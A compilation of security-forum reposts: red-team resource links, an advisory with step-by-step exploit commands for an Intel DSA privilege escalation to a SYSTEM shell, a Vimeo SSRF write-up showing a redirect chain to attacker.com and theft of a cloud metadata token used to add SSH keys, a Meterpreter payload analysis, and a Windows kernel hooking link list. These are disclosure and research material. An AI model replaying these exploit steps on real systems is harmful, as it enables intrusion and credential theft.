https://github.com/SadProcessor/SomeStuff https://github.com/rvrsh3ll/Misc-Powershell-Scripts https://github.com/enigma0x3/Misc-PowerShell-Stuff https://github.com/ChrisTruncer/PenTestScripts https://github.com/bluscreenofjeff/Scripts https://github.com/xorrior/RandomPS-Scripts https://github.com/xorrior/Random-CSharpTools https://github.com/leechristensen/Random https://github.com/mgeeky/Penetration-Testing-Tools/tree/master/social-engineering References MITRE’s ATT&CK™ is a curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target. https://attack.mitre.org/wiki/Main_Page Cheat Sheets for various projects (Beacon/Cobalt Strike,PowerView, PowerUp, Empire, and PowerSploit). https://github.com/HarmJ0y/CheatSheets PRE-ATT&CK Adversarial Tactics, Techniques & Common Knowledge for Left-of-Exploit. https://attack.mitre.org/pre-attack/index.php/Main_Page Adversary OPSEC consists of the use of various technologies or 3rd party services to obfuscate, hide, or blend in with accepted network traffic or system behavior. https://attack.mitre.org/pre-attack/index.php/Adversary_OPSEC Adversary Emulation Plans To showcase the practical use of ATT&CK for offensive operators and defenders, MITRE created Adversary Emulation Plans. https://attack.mitre.org/wiki/Adversary_Emulation_Plans Red-Team-Infrastructure-Wiki Wiki to collect Red Team infrastructure hardening resources. https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki Advanced Threat Tactics – Course and Notes This is a course on red team operations and adversary simulations. https://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes Red Team Tips as posted by @vysecurity on Twitter. https://vincentyiu.co.uk/red-team-tips Awesome Red Teaming List of Awesome Red Team / Red Teaming Resources. https://github.com/yeyintminthuhtut/Awesome-Red-Teaming ATT&CK for Enterprise Software is a generic term for custom or commercial code, operating system utilities, open-source software, or other tools used to conduct behavior modeled in ATT&CK. https://attack.mitre.org/wiki/Software Planning a Red Team exercise This document helps inform red team planning by contrasting against the very specific red team style described in Red Teams. https://github.com/magoo/redteam-plan Awesome Lockpicking a curated list of awesome guides, tools, and other resources related to the security and compromise of locks, safes, and keys. https://github.com/meitar/awesome-lockpicking Awesome Threat Intelligence a curated list of awesome Threat Intelligence resources. https://github.com/hslatman/awesome-threat-intelligence APT Notes Need some scenario? APTnotes is a repository of publicly-available papers and blogs (sorted by year) related to malicious campaigns/activity/software that have been associated with vendor-defined APT (Advanced Persistent Threat) groups and/or tool-sets. https://github.com/aptnotes/data TIBER-EU FRAMEWORK The European Framework for Threat Intelligence-based Ethical Red Teaming (TIBER-EU), which is the first Europe-wide framework for controlled and bespoke tests against cyber attacks in the financial market. http://www.ecb.europa.eu/pub/pdf/other/ecb.tiber_eu_framework.en.pdf CBEST Implementation Guide CBEST is a framework to deliver controlled, bespoke, intelligence-led cyber security tests. The tests replicate behaviours of threat actors, assessed by the UK Government and commercial intelligence providers as posing a genuine threat to systemically important financial institutions. https://www.crest-approved.org/wp-content/uploads/2014/07/CBEST-Implementation-Guide.pdf Red Team: Adversarial Attack Simulation Exercise Guidelines for the Financial Industry in Singapore The Association of Banks in Singapore (ABS), with support from the Monetary Authority of Singapore (MAS), has developed a set of cybersecurity assessment guidelines today to strengthen the cyber resilience of the financial sector in Singapore. Known as the Adversarial Attack Simulation Exercises (AASE) Guidelines or “Red Teaming” Guidelines, the Guidelines provide financial institutions (FIs) with best practices and guidance on planning and conducting Red Teaming exercises to enhance their security testing. https://abs.org.sg/docs/library/abs-red-team-adversarial-attack-simulation-exercises-guidelines-v1-06766a69f299c69658b7dff00006ed795.pdf License Sursa: https://github.com/shr3ddersec/Shr3dKit

Intel Driver & Support Assistant (DSA) LPE Product Intel Driver & Support Assistant (DSA) and Intel Computing Improvement Program Severity High CVE Reference CVE-2018-12148, CVE- 2018-12168 Type Local Privilege Escalation Description Intel Driver & Support Assistant (DSA) is a Freeware application by Intel that checks for updates for Intel drivers and tools. It contained a Local Privilege Escalation vulnerability that would allow a local attacker or malware to escalate their privileges from user to system. This vulnerability was patched in version 3.5.0.1 The same root cause was also identified in 'Intel Computing Improvement Program' for versions before 2.2.0.03942. Impact An attacker or malicious process could exploit this vulnerability locally to escalate their privileges to NT/SYSTEM. The CVSS V3 Vector assigned to this vulnerability is AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H and a score of 7.8. Cause While the 'Intel(R) SUR QC SA' service is running it may create the file %ProgramData%\Intel\SharedData\SDID. This file is created by the NT/SYSTEM user and is created with the permissions granting all users full control of the file. A local attacker as any authenticated user can remove the SSID file and create a symlink allowing for arbitrary file creation (with any name) with System permissions while still allowing any user to modify the file once created. Solution This vulnerability was patched in Intel(R) Driver and Support Assistant before 3.5.0.1 and Intel(R) Computing Improvement Program before version 2.2.0.03942. The solution in both cases prevents non administrators from writing to the file. Exploitation An arbitrary file creation and write primitive makes it trivial to gain code execution as system. One approach might be to replace the content of the file created by the Intel application with a malicious DLL and getting a system service/process to load that DLL. The simplest way to load a DLL as system is to utilise a feature of the 'Microsoft (R) Diagnostics Hub Standard Collector Service' to load a malicious DLL from the system32 directory. Step 1: Remove the File Before we can create a symlink we need to remove the SSID file and anything else in the same folder. rm "C:\ProgramData\Intel\SharedData\*" Step 2: Create Symlink Next we need to create a symlink. To do this without administrator rights we first need to create a Mount Point such that 'C:\ProgramData\Intel\SharedData\' points to the "\RPC Control\" object directory. We then create a Symlink such that "\RPC Control\SSID" points to "\\?\C:\Windows\System32\evilDll.dlll" To do this we can use James Forshaw's symboliclink-testing-tools (https://github.com/google/symboliclink-testing-tools) CreateSymlink.exe C:\ProgramData\Intel\SharedData\SDID C:\Windows\System32\evilDll.dll Step 3: Start Service The service that creates the file is not always running and thus we will need to start it. Thankfully this service can be started by any authenticated user: Start-Service -Name "Intel(R) SUR QC SAM" Step 4: Trigger file creation The service does not automatically create the file, so we need to trigger the file creation. From reverse engineering the service we found the code that is responsible for the creation of the file and that it can be triggered using a couple of HTTP requests to a locally listening server. $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" $headers.Add("Origin", "http://localhost") $params1 = "0`r`n" $params2 = '{"assetId": "ef1526ef-396a-4eb3-9869-79ec77c3715b","type": "WindowsApplication","name": "Intel(R) Computing Improvement Program", "custom_data": {"SURVersion": "2.1.03638"}}' $port = Get-Content -Path "C:\ProgramData\Intel\SUR\QUEENCREEK\Updater\AppData\web_server_port.txt" $uri1 = "http://127.0.0.1:$port/api/v2/api_lock" $uri2 = "http://127.0.0.1:$port/api/v2/updates" Invoke-WebRequest -Uri $uri1 -Method PUT -Body $params -ContentType "application/json" -Headers $headers Invoke-WebRequest -Uri $uri2 -Method POST -Body $params2 -ContentType "application/json" -Headers $headers Step 5: Stop Service Once the file has been created we need to stop service so it closes the file. Stop-Service -Name "Intel(R) SUR QC SAM" Step 6: Replace file with evil DLL content The contents of the DLL can now be modified to contain malicious code that will be executed as System when it is loaded. In this PoC we built a simple DLL that will spawn cmd.exe when loaded. Step 7: Load DLL For this PoC we decided to load the DLL using a nifty trick by getting the Windows Service ''Microsoft (R) Diagnostics Hub Standard Collector Service" (DiagHub) to load it for us. The details of this technique can be found in a blog post by James Forshaw (https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html). Here we modified James' code to launch our evilDLL which results in a System shell being spawned. Timeline Date Summary 03/07/2018 Reported bug via hackerone and email to intel PSIRT 03/07/2018 Response saying they have passed the report to the aproprate application team 09/07/2018 Full working exploit provided via hackerone 13/07/2018 Emailed intel PSIRT with full details and working exploit 13/07/2018 Product team confirm vulnerabiltiy and that it affects multiple products 31/07/2018 CVE assigned 11/09/2018 Vulnerability patached and Intel Advisory issued Further Information https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00165.html https://github.com/googleprojectzero/symboliclink-testing-tools Sursa: https://labs.mwrinfosecurity.com/advisories/intel-driver-and-support-assistant-dsa-lpe/

Vimeo SSRF with code execution potential. Harsh Jaiswal Mar 8 Recently i discovered a semi responded SSRF on Vimeo with code execution possibility. This blog post explains how i found & exploited it. So lets get started. Background. Vimeo provides an API console for their API called API Playground, The requests made using this web app is done from server side. Take the bellow request as an example. Base request This request is supposed to make a server side GET request to https://api.vimeo.com/users/{user_id}/videos/{video_id} If you look closely to the request we control quite of things here, First the uri parameter which is the endpoint to hit on endpoint i.e. in this case is /users/{user_id}/videos/{video_id} , Request method i.e. in this case is set to GET , params which are supposed to be post parameters if the request method is POST. user_id & video_id are kind of variables whose values gets defined in segments parameter. Path traversal in HTTP requests made on server side. I first tried to change URI parameter to my custom path however any change in URI will result into a 403, Means that they’re allowing set of API endpoints. However changing the value of variables such as user_id & videos_id is possible because they’re intentional and because this values reflect in the path of URL. Passing ../../../ will result in a request to ROOT of api.vimeo.com Bellow is what happens. URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”) Result : https://api.vimeo.com/attacker Path traversal in HTTP requests made on server side As you can see in response all endpoints of api.vimeo.com is listed which is root response of api.vimeo.com if you make an authenticated request (with authorization header) . What now? We’re still on api.vimeo.com host, how do we escape it? Well i figured that this is following HTTP 30X redirects, Its a long story took some a bit logical thinking. Back to the point, Now i know this is following HTTP redirects and we’re good to move forward, We need an open redirect so that we can redirect server to our controlled asset. The good old content discovery… A minute of content discovery and i came across an endpoint on api.vimeo.com which makes a redirection to vimeo.com with our controlled path on vimeo.com https://api.vimeo.com/m/something api.vimeo.com to vimeo.com Cool, Now we have a wide scope to find an open redirect, I have a not very useful open redirect on vimeo.com , I wont be disclosing its details but lets just assume it is something like this https://vimeo/vulnerable/open/redirect?url=https://attacker.com This makes a 302 redirect to attacker.com, Chain completed to redirect to attacker asset.. The final payload to redirect the server to our controlled asset is ../../../m/vulnerable/open/redirect?url=https://attacker.com Passing this value inside video_id will parse URL in this way https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com Which on parsing becomes https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com HTTP redirection made & followed to https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com Another HTTP redirection made & followed to https://attacker.com SSRF Achieved, Redacted details regarding the open redirect and my domain. The server expects a JSON response and parses it and shows in response. Exploiting.. As Vimeo infrastructure is on Google cloud, My first attempt was to hit the Google metadata API. I followed the approach taken by André Baptista (0xacb) This endpoint gives us service account token. http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json { “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } } Scope of token $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA Response: { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } I could then use this token to add my public SSH key to instance and then connect via my private key $ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]} Response: { “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"} And… keys added *Le me However SSH port was open on internal network only :(( but this was enough to proof that internally this can be escalated to shell access. Kubernetes keys were also extracted from metadata API, but for some reason i was not able to use them, Although Vimeo team did confirm they were valid. Due to my work & involvement with Vimeo, I was allowed to go deeper than would normally have been allowed. That’s it folks. I hope you liked this. Share/Re-Tweet is much appreciated, Have any questions regarding this? DM @ rootxharsh Thanks to; Vimeo team for allowing disclosure of this issue. Andre (0xacb) for his awesome report Brett (bbuerhaus) for his write up about this SSRF (He and Ben have some lit AF writeups) Timeline 28th Jan early morning : Initial discovery. 28th Jan : Triaged by HackerOne team 28th Jan : Vimeo team rewarded initial $100 and pushed temporary fix. 30th/31st Jan : Permanent fix pushed 1st Feb : $4900 rewarded. Harsh Jaiswal Sursa: https://medium.com/@rootxharsh_90844/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e

Analysing meterpreter payload with Ghidra Yesterday I found a powershell script using urlscan.io which can be found. I didn't (and still don't) have any idea about the origins, being benign or malicious. Spoiler, it is (just) a meterpreter reverse-https payload being delivered using Metasploit's Web Delivery. Urlscan is a great and powerfull tool to analyse webpages. It delivers reports about how the page loads, creates screenshots, stores interesting files and extracts all kind of indicators. Urls can be scanned manually or by the api. There are many automated submissions, like links that have been included in emails or are suspicious. The service helps to find other domains running from the same ip, similar pages and campaigns. Searching for 1.ps1 using urlscan delivers all kind of powershell scripts (many malicious), as also the one I found. Just to add some context, I searched for other occurences of the ip address and file hash delivers, but found just one single result. The powershell contains a base64 encoded payload which will be executed by starting a new powershell session with the script as argument. Using Cyberchef it is easy to decode the base64 payload as can be shown here. Multiple of my dear handler colleagues have written about this useful service already. Cyberchef (runs client side only) makes it easy to create recipes, that will transform the data by just dropping new operations (which are many predefined) to the recipe. This step only base64 decodes the payload, but the next step deflates the payload also. Step 2 contains the encoded reverse-https Meterpreter payload that will be loaded and executed in memory. If we now extract the payload and extract it using another recipe we have the shellcode and we'll load this into Ghidra. Ghidra is the Software Reverse Engineering (SRE) suite of tools which are developed (and now opened) by the NSA. Currently the github repository contains only a placeholder, but it says it will be made available opensource. There has been tweeted a lot about Ghidra and overall reactions are positive. Positive reactions are about the decompiler, the ability for collaborating with colleagues, support for adding multiple binaries to a single project, ability to undo, diffing, many supported processors and the analysis. Negative reactions are that it is based on java, supports no debugging and (steep) learning curve. A more thorough overview can be found in this article of Joxean Koret. Just to highlight a few features of Ghidra, we'll load the binary. After loading the file we have to pick the language, which is x86 32 bits and the binary can be analysed. After importing it will show a small summary about the results. The payload start address (0x0) needs to be disassembled manually, as it doesn't recognise the code. After disassembling the first bytes, the other code will following and you'll get the this screen. The code can be annotated, functions created, diffed etc. Ghidra will show the decompiled function next to the assembly view, a sample of decompilated function (the http request and response part) looks like this. The payload uses a hashed functions to prevent presence of strings within the payload containing the system functions, which makes it less readable. After analyses this is just a default Meterpreter payload where a reverse https shell will be opened to a Meterpreter handler. Meterpreter http(s) handlers will use the default "It works" page we know from Apache, but only a bit different. As the default Apache index.html contains an extra \n (sha256: f2dcc96deec8bca2facba9ad0db55c89f3c4937cd6d2d28e5c4869216ffa81cf and 45 bytes), where meterpreter doesn't (sha256: 8f3ff2e2482468f3b9315a433b383f0cc0f9eb525889a34d4703b7681330a3fb and 44 bytes). If we search the meterpreter hash for Censys we'll find over two thousand suspected meterpreter servers. Maybe something to blacklist? Remco Verhoef (@remco_verhoef) ISC Handler - Founder of DutchSec PGP Key Sursa: https://www.dshield.org/forums/diary/Analysing+meterpreter+payload+with+Ghidra/24722/

awesome-windows-kernel-security-development pe file format https://github.com/corkami/pics meltdown/spectre poc https://github.com/turbo/KPTI-PoC-Collection https://github.com/gkaindl/meltdown-poc https://github.com/feruxmax/meltdown https://github.com/Eugnis/spectre-attack lightweight c++ gui library https://github.com/idea4good/GuiLite https://github.com/golang-ui/nuklear https://github.com/Dovyski/cvui https://github.com/andlabs/libui https://github.com/hasaranga/RFC-Framework https://github.com/dustpg/LongUI https://github.com/bognikol/Eleusis direct ui https://github.com/gclxry/EasyDuilib https://github.com/v-star0719/MFC_LogicalWnd https://github.com/duzhi5368/FKDuiLibEditor https://github.com/wanttobeno/bkuilib https://github.com/wanttobeno/XSkin1.0 https://github.com/idea4good/GuiLite https://github.com/redrains/DuiLib_Redrain https://github.com/wanttobeno/UIDesigner https://github.com/zhongyang219/TrafficMonitor https://github.com/wanttobeno/Duilib_Extension https://github.com/zhongyang219/MusicPlayer2 https://github.com/nmgwddj/duilib_tutorial https://github.com/redrains/DuiLib_Redrain https://github.com/nmgwddj/InstallAssist https://github.com/netease-im/NIM_PC_UIKit https://github.com/nmgwddj/Optimizer https://github.com/nmgwddj/BarPCMaster (netbar) chrome https://github.com/shuax/GreenChrome cef https://github.com/acristoffers/CEF3SimpleSample https://github.com/sanwer/Browser WebBrowser https://github.com/litehtml/litebrowser https://github.com/venam/Browser (lib) https://github.com/wanttobeno/Study_IWebBrowser2 d3d https://github.com/ThirteenAG/d3d9-wrapper lua https://github.com/vinniefalco/LuaBridge c++ & js https://github.com/wargio/WSH-Framework https://github.com/ExpLife0011/WebBrowser https://github.com/wanttobeno/Study_mujs gdi/gdi+ http://www.mctrl.org/ (win32 control lib) https://github.com/wanttobeno/AlphaEditor https://github.com/wanttobeno/FastZoomDemo (zoom) https://github.com/wanttobeno/GdiPlusTextEffect https://github.com/wanttobeno/GdiPlusString https://github.com/wanttobeno/WindowFinder https://github.com/wanttobeno/ymagine https://github.com/wanttobeno/levels-adjustment https://github.com/wanttobeno/ElipsePic https://github.com/wanttobeno/windows-effect https://github.com/wanttobeno/Study_easing_animation https://github.com/wanttobeno/Study_FindPicAlgorithm (find picture algorithm) https://github.com/wanttobeno/Window_GlassIntro_demo computer vision & machine learning https://github.com/wanttobeno/sod compress https://github.com/wanttobeno/snappy Dongle https://github.com/wanttobeno/Dongle spy++ https://github.com/wjx0912/MySpy Shell Extension for Windows Explorer https://github.com/abhimanyusirohi/ThumbFish (nice demo) https://github.com/matssigge/JASE https://github.com/Oeffner/MtzExtInfoTip https://github.com/danielgrigg/ContextMenuDemo https://github.com/monolithpl/stexbar https://github.com/CaSchmidt/csMenu https://github.com/blndev/ExplorerUtilitys https://github.com/pke/Windows-Explorer-OSGi-Shell-Extensions https://github.com/Anton-V-K/MultiThumbExtension https://github.com/0ffffffffh/ffmpegShellExtension https://github.com/Ralph-Lee/WinShellExt https://github.com/slivermeteor/LockKeys https://github.com/alexandermenze/ShellExtensionInfoTip https://github.com/jbrandwood/EditWith https://github.com/calzakk/CyoHash https://github.com/asa75asa/ImageResizer https://github.com/tillig/JunctionShellExtensions https://github.com/keybase/KBShellExt https://github.com/T800G/StatusBar7 https://github.com/vladm3/ShellExtension https://github.com/sop/cygextreg https://github.com/AndreasVerhoeven/HTMLPreviewShellExtension https://github.com/alvinhochun/KritaShellExtension https://github.com/AUTOMATIC1111/3ds-shell https://github.com/google/google-drive-shell-extension https://github.com/TortoiseGit/TortoiseGit https://github.com/sanje2v/MantaPropertyExtension https://github.com/phwitti/cmdhere windows system programming https://github.com/billziss-gh/winspd https://github.com/ffiirree/Capturer https://github.com/Claybird/lhaforge https://github.com/jjzhang166/nargnos-WindowsUtil https://github.com/cool2528/baiduCDP https://github.com/anhkgg/SuperWeChatPC https://github.com/Alex3434/GetHDDSerial https://github.com/TonyChen56/HackerTools https://github.com/libyal/liblnk https://github.com/NtRaiseHardError/Kaiser https://github.com/mengskysama/V8 (chrome v8 engine) https://github.com/locustwei/WorkBack https://github.com/360-A-Team/EventCleaner https://github.com/Microsoft/Windows-classic-samples https://github.com/troldal/OpenXLSX (.xlsx format) https://github.com/mity/windrawlib (GDI+ Helper) https://github.com/henrypp/errorlookup https://github.com/longmode/authzsec-mod-um (AppContainer and ACL) https://github.com/henrypp/memreduct https://github.com/thomaslaurenson/LiveDiff (live diff) https://github.com/thomaslaurenson/CellXML-offreg (hive file parse) https://github.com/zhaolong/libparser (static lib parse) https://github.com/WildByDesign/Privexec https://github.com/KangLin/RabbitIm https://github.com/kingsunc/MiniDump https://github.com/amdf/reparselib https://github.com/Zero3K/connectfusion (download manager) https://github.com/Zero3K/ERAM (RAM Disk) https://github.com/bailey27/cppcryptfs ( gocryptfs encrypted overlay filesystem) https://github.com/etsubu/MacroRecorder (recording keyboard and mouse macros) https://github.com/wyrover/CodeLib https://github.com/Rprop/CppDLL (dll to .h and lib) https://github.com/seledka/syslib https://github.com/leecher1337/regremap https://github.com/webees/ADkiller https://github.com/skysilent/coroutine_study (fiber) https://github.com/ruusty/NAntMenu https://github.com/chrdavis/PIFShellExtensions https://github.com/codepongo/zshellext https://github.com/lz77win/lz77win_sources https://github.com/Microsoft/perfview https://github.com/GameTechDev/PresentMon https://github.com/hfiref0x/BSODScreen https://github.com/CasualX/LibEx https://github.com/syhyz1990/baiduyun https://github.com/WalkingCat/SymDiff https://github.com/libyal/libevtx https://github.com/wanttobeno/Screenshot https://github.com/scarsty/tinypot https://github.com/jonasblunck/DynHook https://github.com/y11en/PEBFake (PEB fake) https://github.com/wanttobeno/mousehook (setwindowhook) https://github.com/wanttobeno/DXF-Viewer https://github.com/wanttobeno/XmlConfigDemo https://github.com/wanttobeno/GeneralHashFunctions https://github.com/wanttobeno/Chrome-base-cpu https://github.com/wanttobeno/stl_util https://github.com/wanttobeno/LinkHelper https://github.com/wanttobeno/Ring3GetProcessInfo https://github.com/zsummer/breeze https://github.com/wanttobeno/SoftWareManager https://github.com/wanttobeno/GetMacAddress https://github.com/wanttobeno/HtmlViewer https://github.com/wanttobeno/AltServer https://github.com/wanttobeno/GetPeInfo https://github.com/wanttobeno/notepad https://github.com/wanttobeno/PELearningMaterials https://github.com/wanttobeno/Detours_4.0.1 https://github.com/wanttobeno/skinsb https://github.com/wanttobeno/DLib-Attacher https://github.com/wanttobeno/VmpHandle https://github.com/wanttobeno/ScopeGuard (resource safe delete) https://github.com/wanttobeno/HashMapDemo https://github.com/wanttobeno/nanob (protobuf) https://github.com/wanttobeno/baidu-sofa-pbrpc-win (protobuf) https://github.com/xlet/UpdateClient https://github.com/wanttobeno/AesFileProtection https://github.com/wanttobeno/IeProxy https://github.com/wanttobeno/MyProtocol https://github.com/wanttobeno/Window_KeyAndMouseHook https://github.com/wanttobeno/doublebufferedqueue (double buffered queue) https://github.com/DoubleLabyrinth/010Editor-keygen (keygen) https://github.com/wanttobeno/Cpp11ThreadPool https://github.com/wanttobeno/Study_shellcode (shellcode) https://github.com/wanttobeno/Study_algorithm (data struct) https://github.com/wanttobeno/ThreadPool https://github.com/wanttobeno/Study_threadpool (thread pool) https://github.com/wanttobeno/Study_Websocket (websocket) https://github.com/Amanieu/asyncplusplus https://github.com/wanttobeno/Study_Socket https://github.com/wanttobeno/DllProtect https://github.com/allenyllee/The-CPUID-Explorer https://github.com/wanttobeno/SunDaySearchSignCode https://github.com/wanttobeno/x64_AOB_Search (fast search memory algorithm) https://github.com/wanttobeno/iQIYI_Web_Video_Upload (http simulate upload) https://github.com/wanttobeno/Study_XiaoMi_Login (https simulate login) https://github.com/fawdlstty/NetToolbox https://github.com/hzqst/FuckCertVerifyTimeValidity https://github.com/717021/PCMgr (task manager) https://github.com/silverf0x/RpcView (rpc) https://github.com/ez8-co/unlocker () https://github.com/nkga/self-updater (framework for secure self-update) https://github.com/liamkirton/sslcat (nc with ssl) https://github.com/Seineruo/RSA-Tool https://github.com/PBfordev/wxAutoExcel https://github.com/ax330d/Symex https://github.com/Biswa96/PDBDownloader https://github.com/Biswa96/TraceEvent https://github.com/hfiref0x/Misc https://github.com/SergioCalderonR/DelSvc https://github.com/wyrover/win-privileges-examples (DACL) https://github.com/nccgroup/WindowsDACLEnumProject (DACL) https://github.com/xqymain/ServerLocker https://github.com/wanttobeno/SunDaySearchSignCode (fast search memory) https://github.com/zhongyang219/SimpleNotePad https://github.com/zhongyang219/TrafficMonitor https://github.com/codereba/data_scrambler (scrambler) https://github.com/3gstudent/Catch-specified-file-s-handle (enum file handle) https://github.com/intel/safestringlib https://github.com/eyusoft/asutlity https://github.com/ThomasThelen/BrowserLib https://github.com/OSRDrivers/dirchange https://github.com/OSRDrivers/deleteex (FileDispositionInfoEx) https://github.com/notscimmy/YASS (sig scanner) https://github.com/942860759/BrowserHistory https://github.com/NoMoreFood/putty-cac https://github.com/NoMoreFood/Repacls https://github.com/NoMoreFood/WinPriv https://github.com/NoMoreFood/Crypture https://github.com/Microsoft/winfile https://github.com/mullvad/windows-libraries https://github.com/wjcsharp/wintools https://github.com/nmgwddj/logs-monitor https://github.com/nmgwddj/TaskbarTool https://github.com/nmgwddj/DevCon https://github.com/nmgwddj/SystemProcessInfo https://github.com/nmgwddj/ServiceMgr wsl/unix https://github.com/Mermeze/wslam (wsl anti malware) https://github.com/Biswa96/WSLInstall https://github.com/Biswa96/WslReverse https://github.com/Biswa96/XConPty https://github.com/mintty/wsltty.appx device tree https://github.com/MartinDrab/VrtuleTree irp monitor https://github.com/MartinDrab/IRPMon nt crucial modules https://github.com/MeeSong/Nt-Crucial-Modules windows kernel driver https://github.com/Mouka-Yang/KernelDriverDemo https://github.com/tomLadder/WinLib https://github.com/coltonon/MoaRpm https://github.com/wanttobeno/ProcessManager_Ring0 https://github.com/wanttobeno/Win_Driver_Mouse_And_Key https://github.com/wanttobeno/Win64DriverStudy_Src https://github.com/tdevuser/MalwFinder https://github.com/Sqdwr/WriteFile_IRP https://github.com/nmgwddj/learn-windows-drivers https://github.com/mq1n/EasyRing0 windows kernel driver with c++ runtime https://github.com/DragonQuestHero/Kernel-Force-Delete (force delete file) https://github.com/MeeSong/WDKExt https://github.com/HoShiMin/Kernel-Bridge (power) https://github.com/wjcsharp/Common https://github.com/ExpLife/DriverSTL https://github.com/sysprogs/BazisLib https://github.com/AmrThabet/winSRDF https://github.com/sidyhe/dxx https://github.com/zer0mem/libc https://github.com/eladraz/XDK https://github.com/vic4key/Cat-Driver https://github.com/AndrewGaspar/km-stl https://github.com/zer0mem/KernelProject https://github.com/zer0mem/miniCommon https://github.com/jackqk/mystudy https://github.com/yogendersolanki91/Kernel-Driver-Example blackbone https://github.com/AbinMM/MemDllLoader_Blackbone https://github.com/hzqst/unicorn_pe https://github.com/nofvcks/AimKit-Pasted-Driver https://github.com/alexpsp00/x-elite-loader https://github.com/DarthTon/Xenos https://github.com/DarthTon/Blackbone hidinput https://github.com/hawku/TabletDriver https://github.com/ViGEm/HidGuardian https://github.com/ecologylab/EcoTUIODriver https://github.com/djpnewton/vmulti https://github.com/duzhi5368/FKHIDKeyboardSimTest (support usb) https://github.com/Jehoash/WinIO3.0 dkom https://github.com/waryas/EUPMAccess https://github.com/notscimmy/pplib https://blog.csdn.net/zhuhuibeishadiao/article/details/51136650 (get process full path name) https://bbs.pediy.com/thread-96427.htm (modify process image name) https://github.com/ZhuHuiBeiShaDiao/PathModification https://github.com/ZhuHuiBeiShaDiao/NewHideDriverEx https://github.com/Sqdwr/HideDriver https://github.com/nbqofficial/HideDriver https://github.com/landhb/HideProcess https://github.com/tfairane/DKOM ssdt hook https://github.com/Sqdwr/64-bits-inserthook https://github.com/int0/ProcessIsolator https://github.com/mrexodia/TitanHide (x64dbg Plugin)-(DragonQuestHero Suggest) https://github.com/papadp/shd https://github.com/bronzeMe/SSDT_Hook_x64 https://github.com/s18leoare/Hackshield-Driver-Bypass https://github.com/sincoder/hidedir https://github.com/wyrover/HKkernelDbg https://github.com/CherryZY/Process_Protect_Module https://github.com/weixu8/RegistryMonitor https://github.com/nmgwddj/Learn-Windows-Drivers eat/iat/object/irp/iat hook https://github.com/hasherezade/IAT_patcher https://github.com/Cyrex1337/hook.lib https://github.com/hMihaiDavid/hooks https://github.com/Scorbutics/IATHook https://github.com/amazadota/AFD-HOOK- https://github.com/wyyqyl/HookIAT https://github.com/smore007/remote-iat-hook https://github.com/m0n0ph1/IAT-Hooking-Revisited https://github.com/xiaomagexiao/GameDll https://github.com/HollyDi/Ring0Hook https://github.com/mgeeky/prc_xchk https://github.com/tinysec/iathook inline hook https://github.com/adrianyy/kernelhook https://github.com/gfreivasc/VMTHook https://github.com/zhipeng515/MemberFunctionHook （member function hook） https://github.com/windy32/win32-console-hook-lib https://github.com/M0rtale/Universal-WndProc-Hook https://github.com/a7031x/HookApi https://github.com/blaquee/APCHook https://github.com/simonberson/ChromeURLSniffer https://github.com/codereversing/sehveh_hook https://github.com/Matviy/LeagueReplayHook https://github.com/jonasblunck/DP https://github.com/XBased/xhook https://github.com/rokups/hooker https://github.com/Ayuto/DynamicHooks https://github.com/sincoder/wow64hook https://github.com/strobejb/sslhook https://github.com/petrgeorgievsky/gtaRenderHook https://github.com/WopsS/RenHook https://github.com/chinatiny/InlineHookLib (R3 & R0) https://github.com/tongzeyu/HookSysenter https://github.com/idkwim/frookSINATRA (x64 sysenter hook) https://github.com/VideoCardGuy/HideProcessInTaskmgr https://github.com/MalwareTech/FstHook https://github.com/Menooker/FishHook https://github.com/G-E-N-E-S-I-S/latebros https://bbs.pediy.com/thread-214582.htm hook engine https://github.com/HoShiMin/HookLib (r3 & r0) https://github.com/Rebzzel/kiero (d3d hook) https://github.com/aschrein/apiparse https://github.com/zyantific/zyan-hook-engine https://github.com/jonasblunck/DP (com hook) https://github.com/jonasblunck/DynHook https://github.com/wanttobeno/ADE32_InlineHook https://github.com/coltonon/RegHookEx (mid function) https://github.com/Synestraa/ArchUltimate.HookLib https://github.com/DominicTobias/detourxs https://github.com/Ilyatk/HookEngine https://github.com/zyantific/zyan-hook-engine https://github.com/martona/mhook https://github.com/EasyHook/EasyHook https://github.com/RelicOfTesla/Detours https://github.com/stevemk14ebr/PolyHook https://github.com/TsudaKageyu/minhook https://github.com/Microsoft/Detours https://github.com/Microwave89/ntapihook anti hook 